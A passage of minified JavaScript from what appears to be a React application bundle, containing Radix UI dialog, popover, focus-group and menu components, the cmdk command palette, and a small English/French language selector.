l,i;(l=e.onInteractOutside)===null||l===void 0||l.call(e,s),s.defaultPrevented||(o.current=!0,s.detail.originalEvent.type==="pointerdown"&&(a.current=!0));const f=s.target;((i=t.triggerRef.current)===null||i===void 0?void 0:i.contains(f))&&s.preventDefault(),s.detail.originalEvent.type==="focusin"&&a.current&&s.preventDefault()}}))}),Sn=r.forwardRef((e,n)=>{const{__scopeDialog:t,trapFocus:o,onOpenAutoFocus:a,onCloseAutoFocus:s,...l}=e,i=de($e,t),f=r.useRef(null),d=Pe(n,f);return Aa(),r.createElement(r.Fragment,null,r.createElement($a,{asChild:!0,loop:!0,trapped:o,onMountAutoFocus:a,onUnmountAutoFocus:s},r.createElement(ya,B({role:"dialog",id:i.contentId,"aria-describedby":i.descriptionId,"aria-labelledby":i.titleId,"data-state":Pn(i.open)},l,{ref:d,onDismiss:()=>i.onOpenChange(!1)}))),!1)});function Pn(e){return e?"open":"closed"}const rs=Ya,os=Za,as=Qa,ss=es;var Ee='[cmdk-group=""]',nt='[cmdk-group-items=""]',cs='[cmdk-group-heading=""]',bt='[cmdk-item=""]',Ht=`${bt}:not([aria-disabled="true"])`,ut="cmdk-item-select",ce="data-value",is=(e,n,t)=>aa(e,n,t),_n=r.createContext(void 0),_e=()=>r.useContext(_n),Dn=r.createContext(void 0),wt=()=>r.useContext(Dn),In=r.createContext(void 0),jn=r.forwardRef((e,n)=>{let t=ge(()=>{var m,y;return{search:"",value:(y=(m=e.value)!=null?m:e.defaultValue)!=null?y:"",filtered:{count:0,items:new Map,groups:new Set}}}),o=ge(()=>new Set),a=ge(()=>new Map),s=ge(()=>new Map),l=ge(()=>new Set),i=kn(e),{label:f,children:d,value:p,onValueChange:u,filter:v,shouldFilter:g,loop:x,disablePointerSelection:h=!1,vimBindings:b=!0,...C}=e,N=r.useId(),M=r.useId(),I=r.useId(),_=r.useRef(null),j=bs();le(()=>{if(p!==void 0){let m=p.trim();t.current.value=m,k.emit()}},[p]),le(()=>{j(6,ae)},[]);let k=r.useMemo(()=>({subscribe:m=>(l.current.add(m),()=>l.current.delete(m)),snapshot:()=>t.current,setState:(m,y,$)=>{var w,D,A;if(!Object.is(t.current[m],y)){if(t.current[m]=y,m==="search")Q(),G(),j(1,z);else if(m==="value"&&($||j(5,ae),((w=i.current)==null?void 0:w.value)!==void 0)){let K=y??"";(A=(D=i.current).onValueChange)==null||A.call(D,K);return}k.emit()}},emit:()=>{l.current.forEach(m=>m())}}),[]),E=r.useMemo(()=>({value:(m,y,$)=>{var w;y!==((w=s.current.get(m))==null?void 0:w.value)&&(s.current.set(m,{value:y,keywords:$}),t.current.filtered.items.set(m,T(y,$)),j(2,()=>{G(),k.emit()}))},item:(m,y)=>(o.current.add(m),y&&(a.current.has(y)?a.current.get(y).add(m):a.current.set(y,new Set([m]))),j(3,()=>{Q(),G(),t.current.value||z(),k.emit()}),()=>{s.current.delete(m),o.current.delete(m),t.current.filtered.items.delete(m);let $=q();j(4,()=>{Q(),($==null?void 0:$.getAttribute("id"))===m&&z(),k.emit()})}),group:m=>(a.current.has(m)||a.current.set(m,new Set),()=>{s.current.delete(m),a.current.delete(m)}),filter:()=>i.current.shouldFilter,label:f||e["aria-label"],disablePointerSelection:h,listId:N,inputId:I,labelId:M,listInnerRef:_}),[]);function T(m,y){var $,w;let D=(w=($=i.current)==null?void 0:$.filter)!=null?w:is;return m?D(m,t.current.search,y):0}function G(){if(!t.current.search||i.current.shouldFilter===!1)return;let m=t.current.filtered.items,y=[];t.current.filtered.groups.forEach(w=>{let D=a.current.get(w),A=0;D.forEach(K=>{let F=m.get(K);A=Math.max(F,A)}),y.push([w,A])});let $=_.current;J().sort((w,D)=>{var A,K;let F=w.getAttribute("id"),se=D.getAttribute("id");return((A=m.get(se))!=null?A:0)-((K=m.get(F))!=null?K:0)}).forEach(w=>{let D=w.closest(nt);D?D.appendChild(w.parentElement===D?w:w.closest(`${nt} > *`)):$.appendChild(w.parentElement===$?w:w.closest(`${nt} > *`))}),y.sort((w,D)=>D[1]-w[1]).forEach(w=>{let D=_.current.querySelector(`${Ee}[${ce}="${encodeURIComponent(w[0])}"]`);D==null||D.parentElement.appendChild(D)})}function z(){let m=J().find($=>$.getAttribute("aria-disabled")!=="true"),y=m==null?void 0:m.getAttribute(ce);k.setState("value",y||void 0)}function Q(){var m,y,$,w;if(!t.current.search||i.current.shouldFilter===!1){t.current.filtered.count=o.current.size;return}t.current.filtered.groups=new Set;let D=0;for(let A of o.current){let K=(y=(m=s.current.get(A))==null?void 0:m.value)!=null?y:"",F=(w=($=s.current.get(A))==null?void 0:$.keywords)!=null?w:[],se=T(K,F);t.current.filtered.items.set(A,se),se>0&&D++}for(let[A,K]of a.current)for(let F of K)if(t.current.filtered.items.get(F)>0){t.current.filtered.groups.add(A);break}t.current.filtered.count=D}function ae(){var m,y,$;let w=q();w&&(((m=w.parentElement)==null?void 0:m.firstChild)===w&&(($=(y=w.closest(Ee))==null?void 0:y.querySelector(cs))==null||$.scrollIntoView({block:"nearest"})),w.scrollIntoView({block:"nearest"}))}function q(){var m;return(m=_.current)==null?void 0:m.querySelector(`${bt}[aria-selected="true"]`)}function J(){var m;return Array.from((m=_.current)==null?void 0:m.querySelectorAll(Ht))}function H(m){let y=J()[m];y&&k.setState("value",y.getAttribute(ce))}function ye(m){var y;let $=q(),w=J(),D=w.findIndex(K=>K===$),A=w[D+m];(y=i.current)!=null&&y.loop&&(A=D+m<0?w[w.length-1]:D+m===w.length?w[0]:w[D+m]),A&&k.setState("value",A.getAttribute(ce))}function ee(m){let y=q(),$=y==null?void 0:y.closest(Ee),w;for(;$&&!w;)$=m>0?gs($,Ee):xs($,Ee),w=$==null?void 0:$.querySelector(Ht);w?k.setState("value",w.getAttribute(ce)):ye(m)}let R=()=>H(J().length-1),L=m=>{m.preventDefault(),m.metaKey?R():m.altKey?ee(1):ye(1)},W=m=>{m.preventDefault(),m.metaKey?H(0):m.altKey?ee(-1):ye(-1)};return r.createElement(Y.div,{ref:n,tabIndex:-1,...C,"cmdk-root":"",onKeyDown:m=>{var y;if((y=C.onKeyDown)==null||y.call(C,m),!m.defaultPrevented)switch(m.key){case"n":case"j":{b&&m.ctrlKey&&L(m);break}case"ArrowDown":{L(m);break}case"p":case"k":{b&&m.ctrlKey&&W(m);break}case"ArrowUp":{W(m);break}case"Home":{m.preventDefault(),H(0);break}case"End":{m.preventDefault(),R();break}case"Enter":if(!m.nativeEvent.isComposing&&m.keyCode!==229){m.preventDefault();let $=q();if($){let w=new Event(ut);$.dispatchEvent(w)}}}}},r.createElement("label",{"cmdk-label":"",htmlFor:E.inputId,id:E.labelId,style:Cs},f),ze(e,m=>r.createElement(Dn.Provider,{value:k},r.createElement(_n.Provider,{value:E},m))))}),ls=r.forwardRef((e,n)=>{var t,o;let a=r.useId(),s=r.useRef(null),l=r.useContext(In),i=_e(),f=kn(e),d=(o=(t=f.current)==null?void 0:t.forceMount)!=null?o:l==null?void 0:l.forceMount;le(()=>{if(!d)return i.item(a,l==null?void 0:l.id)},[d]);let p=An(a,s,[e.value,e.children,s],e.keywords),u=wt(),v=ue(j=>j.value&&j.value===p.current),g=ue(j=>d||i.filter()===!1?!0:j.search?j.filtered.items.get(a)>0:!0);r.useEffect(()=>{let j=s.current;if(!(!j||e.disabled))return j.addEventListener(ut,x),()=>j.removeEventListener(ut,x)},[g,e.onSelect,e.disabled]);function x(){var j,k;h(),(k=(j=f.current).onSelect)==null||k.call(j,p.current)}function h(){u.setState("value",p.current,!0)}if(!g)return null;let{disabled:b,value:C,onSelect:N,forceMount:M,keywords:I,..._}=e;return r.createElement(Y.div,{ref:Ne([s,n]),..._,id:a,"cmdk-item":"",role:"option","aria-disabled":!!b,"aria-selected":!!v,"data-disabled":!!b,"data-selected":!!v,onPointerMove:b||i.disablePointerSelection?void 0:h,onClick:b?void 0:x},e.children)}),us=r.forwardRef((e,n)=>{let{heading:t,children:o,forceMount:a,...s}=e,l=r.useId(),i=r.useRef(null),f=r.useRef(null),d=r.useId(),p=_e(),u=ue(g=>a||p.filter()===!1?!0:g.search?g.filtered.groups.has(l):!0);le(()=>p.group(l),[]),An(l,i,[e.value,e.heading,f]);let v=r.useMemo(()=>({id:l,forceMount:a}),[a]);return r.createElement(Y.div,{ref:Ne([i,n]),...s,"cmdk-group":"",role:"presentation",hidden:u?void 0:!0},t&&r.createElement("div",{ref:f,"cmdk-group-heading":"","aria-hidden":!0,id:d},t),ze(e,g=>r.createElement("div",{"cmdk-group-items":"",role:"group","aria-labelledby":t?d:void 0},r.createElement(In.Provider,{value:v},g))))}),ds=r.forwardRef((e,n)=>{let{alwaysRender:t,...o}=e,a=r.useRef(null),s=ue(l=>!l.search);return!t&&!s?null:r.createElement(Y.div,{ref:Ne([a,n]),...o,"cmdk-separator":"",role:"separator"})}),fs=r.forwardRef((e,n)=>{let{onValueChange:t,...o}=e,a=e.value!=null,s=wt(),l=ue(p=>p.search),i=ue(p=>p.value),f=_e(),d=r.useMemo(()=>{var p;let u=(p=f.listInnerRef.current)==null?void 0:p.querySelector(`${bt}[${ce}="${encodeURIComponent(i)}"]`);return u==null?void 0:u.getAttribute("id")},[]);return r.useEffect(()=>{e.value!=null&&s.setState("search",e.value)},[e.value]),r.createElement(Y.input,{ref:n,...o,"cmdk-input":"",autoComplete:"off",autoCorrect:"off",spellCheck:!1,"aria-autocomplete":"list",role:"combobox","aria-expanded":!0,"aria-controls":f.listId,"aria-labelledby":f.labelId,"aria-activedescendant":d,id:f.inputId,type:"text",value:a?e.value:l,onChange:p=>{a||s.setState("search",p.target.value),t==null||t(p.target.value)}})}),ps=r.forwardRef((e,n)=>{let{children:t,label:o="Suggestions",...a}=e,s=r.useRef(null),l=r.useRef(null),i=_e();return r.useEffect(()=>{if(l.current&&s.current){let f=l.current,d=s.current,p,u=new ResizeObserver(()=>{p=requestAnimationFrame(()=>{let v=f.offsetHeight;d.style.setProperty("--cmdk-list-height",v.toFixed(1)+"px")})});return u.observe(f),()=>{cancelAnimationFrame(p),u.unobserve(f)}}},[]),r.createElement(Y.div,{ref:Ne([s,n]),...a,"cmdk-list":"",role:"listbox","aria-label":o,id:i.listId},ze(e,f=>r.createElement("div",{ref:Ne([l,i.listInnerRef]),"cmdk-list-sizer":""},f)))}),ms=r.forwardRef((e,n)=>{let{open:t,onOpenChange:o,overlayClassName:a,contentClassName:s,container:l,...i}=e;return r.createElement(rs,{open:t,onOpenChange:o},r.createElement(os,{container:l},r.createElement(as,{"cmdk-overlay":"",className:a}),r.createElement(ss,{"aria-label":e.label,"cmdk-dialog":"",className:s},r.createElement(jn,{ref:n,...i}))))}),vs=r.forwardRef((e,n)=>ue(t=>t.filtered.count===0)?r.createElement(Y.div,{ref:n,...e,"cmdk-empty":"",role:"presentation"}):null),hs=r.forwardRef((e,n)=>{let{progress:t,children:o,label:a="Loading...",...s}=e;return r.createElement(Y.div,{ref:n,...s,"cmdk-loading":"",role:"progressbar","aria-valuenow":t,"aria-valuemin":0,"aria-valuemax":100,"aria-label":a},ze(e,l=>r.createElement("div",{"aria-hidden":!0},l)))}),V=Object.assign(jn,{List:ps,Item:ls,Input:fs,Group:us,Separator:ds,Dialog:ms,Empty:vs,Loading:hs});function gs(e,n){let t=e.nextElementSibling;for(;t;){if(t.matches(n))return t;t=t.nextElementSibling}}function xs(e,n){let t=e.previousElementSibling;for(;t;){if(t.matches(n))return t;t=t.previousElementSibling}}function kn(e){let n=r.useRef(e);return le(()=>{n.current=e}),n}var le=typeof window>"u"?r.useEffect:r.useLayoutEffect;function ge(e){let n=r.useRef();return n.current===void 0&&(n.current=e()),n}function Ne(e){return n=>{e.forEach(t=>{typeof t=="function"?t(n):t!=null&&(t.current=n)})}}function ue(e){let n=wt(),t=()=>e(n.snapshot());return r.useSyncExternalStore(n.subscribe,t,t)}function An(e,n,t,o=[]){let a=r.useRef(),s=_e();return le(()=>{var l;let i=(()=>{var d;for(let p of t){if(typeof p=="string")return p.trim();if(typeof p=="object"&&"current"in p)return p.current?(d=p.current.textContent)==null?void 0:d.trim():a.current}})(),f=o.map(d=>d.trim());s.value(e,i,f),(l=n.current)==null||l.setAttribute(ce,i),a.current=i}),a}var bs=()=>{let[e,n]=r.useState(),t=ge(()=>new Map);return le(()=>{t.current.forEach(o=>o()),t.current=new Map},[e]),(o,a)=>{t.current.set(o,a),n({})}};function ws(e){let n=e.type;return typeof n=="function"?n(e.props):"render"in n?n.render(e.props):e}function ze({asChild:e,children:n},t){return e&&r.isValidElement(n)?r.cloneElement(ws(n),{ref:n.ref},t(n.props.children)):t(n)}var Cs={position:"absolute",width:"1px",height:"1px",padding:"0",margin:"-1px",overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0"};const ys=Do,On=r.forwardRef(({className:e,...n},t)=>c.jsx(qt,{ref:t,className:P("fixed inset-0 z-50 bg-black/80  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...n}));On.displayName=qt.displayName;const Es=r.forwardRef(({className:e,children:n,...t},o)=>c.jsxs(ys,{children:[c.jsx(On,{}),c.jsxs(Zt,{ref:o,className:P("fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",e),...t,children:[n,c.jsxs(Po,{className:"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground",children:[c.jsx(_o,{className:"h-4 w-4"}),c.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));Es.displayName=Zt.displayName;const Rs=r.forwardRef(({className:e,...n},t)=>c.jsx(Qt,{ref:t,className:P("text-lg font-semibold leading-none tracking-tight",e),...n}));Rs.displayName=Qt.displayName;const $s=r.forwardRef(({className:e,...n},t)=>c.jsx(Jt,{ref:t,className:P("text-sm text-muted-foreground",e),...n}));$s.displayName=Jt.displayName;const Tn=r.forwardRef(({className:e,...n},t)=>c.jsx(V,{ref:t,className:P("flex h-full w-full flex-col overflow-hidden rounded-md bg-popover text-popover-foreground",e),...n}));Tn.displayName=V.displayName;const Ns=r.forwardRef(({className:e,...n},t)=>c.jsxs("div",{className:"flex items-center px-3","cmdk-input-wrapper":"",children:[c.jsx(Io,{className:"mr-2 h-4 w-4 shrink-0 opacity-50"}),c.jsx(V.Input,{ref:t,className:P("flex h-10 w-full rounded-md bg-transparent py-3 text-sm outline-none placeholder:text-muted-foreground disabled:cursor-not-allowed disabled:opacity-50",e),...n})]}));Ns.displayName=V.Input.displayName;const Fn=r.forwardRef(({className:e,...n},t)=>c.jsx(V.List,{ref:t,className:P("max-h-[300px] overflow-y-auto overflow-x-hidden",e),...n}));Fn.displayName=V.List.displayName;const Ms=r.forwardRef((e,n)=>c.jsx(V.Empty,{ref:n,className:"py-6 text-center text-sm",...e}));Ms.displayName=V.Empty.displayName;const Ln=r.forwardRef(({className:e,...n},t)=>c.jsx(V.Group,{ref:t,className:P("overflow-hidden p-1 text-foreground [&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:py-1.5 [&_[cmdk-group-heading]]:text-xs [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground",e),...n}));Ln.displayName=V.Group.displayName;const Ss=r.forwardRef(({className:e,...n},t)=>c.jsx(V.Separator,{ref:t,className:P("-mx-1 h-px bg-border",e),...n}));Ss.displayName=V.Separator.displayName;const Kn=r.forwardRef(({className:e,...n},t)=>c.jsx(V.Item,{ref:t,className:P("relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none aria-selected:bg-accent aria-selected:text-accent-foreground",e),...n}));Kn.displayName=V.Item.displayName;var Ct="Popover",[Bn,Ni]=Be(Ct,[Ue]),De=Ue(),[Ps,oe]=Bn(Ct),Un=e=>{const{__scopePopover:n,children:t,open:o,defaultOpen:a,onOpenChange:s,modal:l=!1}=e,i=De(n),f=r.useRef(null),[d,p]=r.useState(!1),[u=!1,v]=ht({prop:o,defaultProp:a,onChange:s});return c.jsx(sn,{...i,children:c.jsx(Ps,{scope:n,contentId:Fe(),triggerRef:f,open:u,onOpenChange:v,onOpenToggle:r.useCallback(()=>v(g=>!g),[v]),hasCustomAnchor:d,onCustomAnchorAdd:r.useCallback(()=>p(!0),[]),onCustomAnchorRemove:r.useCallback(()=>p(!1),[]),modal:l,children:t})})};Un.displayName=Ct;var Gn="PopoverAnchor",_s=r.forwardRef((e,n)=>{const{__scopePopover:t,...o}=e,a=oe(Gn,t),s=De(t),{onCustomAnchorAdd:l,onCustomAnchorRemove:i}=a;return r.useEffect(()=>(l(),()=>i()),[l,i]),c.jsx(mt,{...s,...o,ref:n})});_s.displayName=Gn;var Vn="PopoverTrigger",zn=r.forwardRef((e,n)=>{const{__scopePopover:t,...o}=e,a=oe(Vn,t),s=De(t),l=re(n,a.triggerRef),i=c.jsx(Z.button,{type:"button","aria-haspopup":"dialog","aria-expanded":a.open,"aria-controls":a.contentId,"data-state":qn(a.open),...o,ref:l,onClick:S(e.onClick,a.onOpenToggle)});return a.hasCustomAnchor?i:c.jsx(mt,{asChild:!0,...s,children:i})});zn.displayName=Vn;var yt="PopoverPortal",[Ds,Is]=Bn(yt,{forceMount:void 0}),Hn=e=>{const{__scopePopover:n,forceMount:t,children:o,container:a}=e,s=oe(yt,n);return c.jsx(Ds,{scope:n,forceMount:t,children:c.jsx(Ce,{present:t||s.open,children:c.jsx(cn,{asChild:!0,container:a,children:o})})})};Hn.displayName=yt;var be="PopoverContent",Wn=r.forwardRef((e,n)=>{const t=Is(be,e.__scopePopover),{forceMount:o=t.forceMount,...a}=e,s=oe(be,e.__scopePopover);return c.jsx(Ce,{present:o||s.open,children:s.modal?c.jsx(js,{...a,ref:n}):c.jsx(ks,{...a,ref:n})})});Wn.displayName=be;var js=r.forwardRef((e,n)=>{const t=oe(be,e.__scopePopover),o=r.useRef(null),a=re(n,o),s=r.useRef(!1);return r.useEffect(()=>{const l=o.current;if(l)return pt(l)},[]),c.jsx(en,{as:vt,allowPinchZoom:!0,children:c.jsx(Xn,{...e,ref:a,trapFocus:t.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:S(e.onCloseAutoFocus,l=>{var i;l.preventDefault(),s.current||(i=t.triggerRef.current)==null||i.focus()}),onPointerDownOutside:S(e.onPointerDownOutside,l=>{const i=l.detail.originalEvent,f=i.button===0&&i.ctrlKey===!0,d=i.button===2||f;s.current=d},{checkForDefaultPrevented:!1}),onFocusOutside:S(e.onFocusOutside,l=>l.preventDefault(),{checkForDefaultPrevented:!1})})})}),ks=r.forwardRef((e,n)=>{const t=oe(be,e.__scopePopover),o=r.useRef(!1),a=r.useRef(!1);return c.jsx(Xn,{...e,ref:n,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:s=>{var l,i;(l=e.onCloseAutoFocus)==null||l.call(e,s),s.defaultPrevented||(o.current||(i=t.triggerRef.current)==null||i.focus(),s.preventDefault()),o.current=!1,a.current=!1},onInteractOutside:s=>{var f,d;(f=e.onInteractOutside)==null||f.call(e,s),s.defaultPrevented||(o.current=!0,s.detail.originalEvent.type==="pointerdown"&&(a.current=!0));const l=s.target;((d=t.triggerRef.current)==null?void 0:d.contains(l))&&s.preventDefault(),s.detail.originalEvent.type==="focusin"&&a.current&&s.preventDefault()}})}),Xn=r.forwardRef((e,n)=>{const{__scopePopover:t,trapFocus:o,onOpenAutoFocus:a,onCloseAutoFocus:s,disableOutsidePointerEvents:l,onEscapeKeyDown:i,onPointerDownOutside:f,onFocusOutside:d,onInteractOutside:p,...u}=e,v=oe(be,t),g=De(t);return tn(),c.jsx(nn,{asChild:!0,loop:!0,trapped:o,onMountAutoFocus:a,onUnmountAutoFocus:s,children:c.jsx(rn,{asChild:!0,disableOutsidePointerEvents:l,onInteractOutside:p,onEscapeKeyDown:i,onPointerDownOutside:f,onFocusOutside:d,onDismiss:()=>v.onOpenChange(!1),children:c.jsx(on,{"data-state":qn(v.open),role:"dialog",id:v.contentId,...g,...u,ref:n,style:{...u.style,"--radix-popover-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-popover-content-available-width":"var(--radix-popper-available-width)","--radix-popover-content-available-height":"var(--radix-popper-available-height)","--radix-popover-trigger-width":"var(--radix-popper-anchor-width)","--radix-popover-trigger-height":"var(--radix-popper-anchor-height)"}})})})}),Yn="PopoverClose",As=r.forwardRef((e,n)=>{const{__scopePopover:t,...o}=e,a=oe(Yn,t);return c.jsx(Z.button,{type:"button",...o,ref:n,onClick:S(e.onClick,()=>a.onOpenChange(!1))})});As.displayName=Yn;var Os="PopoverArrow",Ts=r.forwardRef((e,n)=>{const{__scopePopover:t,...o}=e,a=De(t);return c.jsx(an,{...a,...o,ref:n})});Ts.displayName=Os;function qn(e){return e?"open":"closed"}var Fs=Un,Ls=zn,Ks=Hn,Zn=Wn;const Qn=Fs,Jn=Ls,Et=r.forwardRef(({className:e,align:n="center",sideOffset:t=4,...o},a)=>c.jsx(Ks,{children:c.jsx(Zn,{ref:a,align:n,sideOffset:t,className:P("z-50 w-72 rounded-md border bg-popover p-4 text-popover-foreground shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...o})}));Et.displayName=Zn.displayName;const Wt=[{value:"english",label:O("English"),alias:"EN"},{value:"french",label:O("French"),alias:"FR"}];function Bs(){var a;const[e,n]=r.useState(!1),[t,o]=r.useState("english");return c.jsxs(Qn,{open:e,onOpenChange:n,children:[c.jsx(Jn,{asChild:!0,children:c.jsxs(ne,{variant:"outline",role:"combobox","aria-expanded":e,className:"justify-between gap-2",children:[c.jsx(Uo,{size:16}),t&&((a=Wt.find(s=>s.value===t))==null?void 0:a.alias),c.jsx(jo,{className:"ml-2 h-4 w-4 shrink-0 opacity-50"})]})}),c.jsx(Et,{className:"w-[200px] p-0",children:c.jsx(Tn,{children:c.jsx(Fn,{children:c.jsx(Ln,{children:Wt.map((s,l)=>c.jsxs(Kn,{value:s.value,onSelect:i=>{o(i===t?"":i),n(!1)},children:[s.label,c.jsx(ln,{className:P("ml-auto h-4 w-4",t===s.value?"opacity-100":"opacity-0")})]},s.value))})})})})]})}var rt="rovingFocusGroup.onEntryFocus",Us={bubbles:!1,cancelable:!0},He="RovingFocusGroup",[dt,er,Gs]=un(He),[Vs,tr]=Be(He,[Gs]),[zs,Hs]=Vs(He),nr=r.forwardRef((e,n)=>c.jsx(dt.Provider,{scope:e.__scopeRovingFocusGroup,children:c.jsx(dt.Slot,{scope:e.__scopeRovingFocusGroup,children:c.jsx(Ws,{...e,ref:n})})}));nr.displayName=He;var Ws=r.forwardRef((e,n)=>{const{__scopeRovingFocusGroup:t,orientation:o,loop:a=!1,dir:s,currentTabStopId:l,defaultCurrentTabStopId:i,onCurrentTabStopIdChange:f,onEntryFocus:d,preventScrollOnEntryFocus:p=!1,...u}=e,v=r.useRef(null),g=re(n,v),x=dn(s),[h=null,b]=ht({prop:l,defaultProp:i,onChange:f}),[C,N]=r.useState(!1),M=gt(d),I=er(t),_=r.useRef(!1),[j,k]=r.useState(0);return r.useEffect(()=>{const E=v.current;if(E)return E.addEventListener(rt,M),()=>E.removeEventListener(rt,M)},[M]),c.jsx(zs,{scope:t,orientation:o,dir:x,loop:a,currentTabStopId:h,onItemFocus:r.useCallback(E=>b(E),[b]),onItemShiftTab:r.useCallback(()=>N(!0),[]),onFocusableItemAdd:r.useCallback(()=>k(E=>E+1),[]),onFocusableItemRemove:r.useCallback(()=>k(E=>E-1),[]),children:c.jsx(Z.div,{tabIndex:C||j===0?-1:0,"data-orientation":o,...u,ref:g,style:{outline:"none",...e.style},onMouseDown:S(e.onMouseDown,()=>{_.current=!0}),onFocus:S(e.onFocus,E=>{const T=!_.current;if(E.target===E.currentTarget&&T&&!C){const G=new CustomEvent(rt,Us);if(E.currentTarget.dispatchEvent(G),!G.defaultPrevented){const z=I().filter(H=>H.focusable),Q=z.find(H=>H.active),ae=z.find(H=>H.id===h),J=[Q,ae,...z].filter(Boolean).map(H=>H.ref.current);ar(J,p)}}_.current=!1}),onBlur:S(e.onBlur,()=>N(!1))})})}),rr="RovingFocusGroupItem",or=r.forwardRef((e,n)=>{const{__scopeRovingFocusGroup:t,focusable:o=!0,active:a=!1,tabStopId:s,...l}=e,i=Fe(),f=s||i,d=Hs(rr,t),p=d.currentTabStopId===f,u=er(t),{onFocusableItemAdd:v,onFocusableItemRemove:g}=d;return r.useEffect(()=>{if(o)return v(),()=>g()},[o,v,g]),c.jsx(dt.ItemSlot,{scope:t,id:f,focusable:o,active:a,children:c.jsx(Z.span,{tabIndex:p?0:-1,"data-orientation":d.orientation,...l,ref:n,onMouseDown:S(e.onMouseDown,x=>{o?d.onItemFocus(f):x.preventDefault()}),onFocus:S(e.onFocus,()=>d.onItemFocus(f)),onKeyDown:S(e.onKeyDown,x=>{if(x.key==="Tab"&&x.shiftKey){d.onItemShiftTab();return}if(x.target!==x.currentTarget)return;const h=qs(x,d.orientation,d.dir);if(h!==void 0){if(x.metaKey||x.ctrlKey||x.altKey||x.shiftKey)return;x.preventDefault();let C=u().filter(N=>N.focusable).map(N=>N.ref.current);if(h==="last")C.reverse();else if(h==="prev"||h==="next"){h==="prev"&&C.reverse();const N=C.indexOf(x.currentTarget);C=d.loop?Zs(C,N+1):C.slice(N+1)}setTimeout(()=>ar(C))}})})})});or.displayName=rr;var Xs={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function Ys(e,n){return n!=="rtl"?e:e==="ArrowLeft"?"ArrowRight":e==="ArrowRight"?"ArrowLeft":e}function qs(e,n,t){const o=Ys(e.key,t);if(!(n==="vertical"&&["ArrowLeft","ArrowRight"].includes(o))&&!(n==="horizontal"&&["ArrowUp","ArrowDown"].includes(o)))return Xs[o]}function ar(e,n=!1){const t=document.activeElement;for(const o of e)if(o===t||(o.focus({preventScroll:n}),document.activeElement!==t))return}function Zs(e,n){return e.map((t,o)=>e[(n+o)%e.length])}var Qs=nr,Js=or,ft=["Enter"," "],ec=["ArrowDown","PageUp","Home"],sr=["ArrowUp","PageDown","End"],tc=[...ec,...sr],nc={ltr:[...ft,"ArrowRight"],rtl:[...ft,"ArrowLeft"]},rc={ltr:["ArrowLeft"],rtl:["ArrowRight"]},Ie="Menu",[Me,oc,ac]=un(Ie),[fe,cr]=Be(Ie,[ac,Ue,tr]),We=Ue(),ir=tr(),[sc,pe]=fe(Ie),[cc,je]=fe(Ie),lr=e=>{const{__scopeMenu:n,open:t=!1,children:o,dir:a,onOpenChange:s,modal:l=!0}=e,i=We(n),[f,d]=r.useState(null),p=r.useRef(!1),u=gt(s),v=dn(a);return r.useEffect(()=>{const g=()=>{p.current=!0,document.addEventListener("pointerdown",x,{capture:!0,once:!0}),document.addEventListener("pointermove",x,{capture:!0,once:!0})},x=()=>p.current=!1;return document.addEventListener("keydown",g,{capture:!0}),()=>{document.removeEventListener("keydown",g,{capture:!0}),document.removeEventListener("pointerdown",x,{capture:!0}),document.removeEventListener("pointermove",x,{capture:!0})}},[]),c.jsx(sn,{...i,children:c.jsx(sc,{scope:n,open:t,onOpenChange:u,content:f,onContentChange:d,children:c.jsx(cc,{scope:n,onClose:r.useCallback(()=>u(!1),[u]),isUsingKeyboardRef:p,dir:v,modal:l,children:o})})})};lr.displayName=Ie;var ic="MenuAnchor",Rt=r.forwardRef((e,n)=>{const{__scopeMenu:t,...o}=e,a=We(t);return c.jsx(mt,{...a,...o,ref:n})});Rt.displayName=ic;var $t="MenuPortal",[lc,ur]=fe($t,{forceMount:void 0}),dr=e=>{const{__scopeMenu:n,forceMount:t,children:o,container:a}=e,s=pe($t,n);return c.jsx(lc,{scope:n,forceMount:t,children:c.jsx(Ce,{present:t||s.open,children:c.jsx(cn,{asChild:!0,container:a,children:o})})})};dr.displayName=$t;var X="MenuContent",[uc,Nt]=fe(X),fr=r.forwardRef((e,n)=>{const t=ur(X,e.__scopeMenu),{forceMount:o=t.forceMount,...a}=e,s=pe(X,e.__scopeMenu),l=je(X,e.__scopeMenu);return c.jsx(Me.Provider,{scope:e.__scopeMenu,children:c.jsx(Ce,{present:o||s.open,children:c.jsx(Me.Slot,{scope:e.__scopeMenu,children:l.modal?c.jsx(dc,{...a,ref:n}):c.jsx(fc,{...a,ref:n})})})})}),dc=r.forwardRef((e,n)=>{const t=pe(X,e.__scopeMenu),o=r.useRef(null),a=re(n,o);return r.useEffect(()=>{const s=o.current;if(s)return pt(s)},[]),c.jsx(Mt,{...e,ref:a,trapFocus:t.open,disableOutsidePointerEvents:t.open,disableOutsideScroll:!0,onFocusOutside:S(e.onFocusOutside,s=>s.preventDefault(),{checkForDefaultPrevented:!1}),onDismiss:()=>t.onOpenChange(!1)})}),fc=r.forwardRef((e,n)=>{const t=pe(X,e.__scopeMenu);return 